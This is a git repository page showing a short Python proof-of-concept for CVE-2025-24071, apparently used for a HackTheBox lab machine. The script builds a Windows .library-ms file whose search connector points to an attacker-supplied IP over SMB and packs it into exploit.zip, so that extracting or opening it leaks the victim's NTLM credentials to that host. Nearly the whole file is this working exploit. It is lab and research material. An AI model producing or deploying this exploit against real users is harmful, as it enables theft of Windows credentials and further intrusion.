etc~ scripts and random things |
| git clone https://github.com/djnnvx/etc.git |
| log | files | refs | archive |
CVE-2025-24071.py (1117B)
1 # originally found here: https://github.com/0x6rss/CVE-2025-24071_PoC 2 # 3 # used for the following box: https://djnn.sh/posts/certificates_fluffy.htb/ 4 5 import os 6 import zipfile 7 8 def main(): 9 file_name = input("Enter your file name: ") 10 ip_address = input("Enter IP (EX: 192.168.1.162): ") 11 12 13 library_content = f"""<?xml version="1.0" encoding="UTF-8"?> 14 <libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library"> 15 <searchConnectorDescriptionList> 16 <searchConnectorDescription> 17 <simpleLocation> 18 <url>\\\\{ip_address}\\shared</url> 19 </simpleLocation> 20 </searchConnectorDescription> 21 </searchConnectorDescriptionList> 22 </libraryDescription> 23 """ 24 25 library_file_name = f"{file_name}.library-ms" 26 with open(library_file_name, "w", encoding="utf-8") as f: 27 f.write(library_content) 28 29 30 with zipfile.ZipFile("exploit.zip", mode="w", compression=zipfile.ZIP_DEFLATED) as zipf: 31 zipf.write(library_file_name) 32 33 34 if os.path.exists(library_file_name): 35 os.remove(library_file_name) 36 37 print("completed") 38 39 if __name__ == "__main__": 40 main()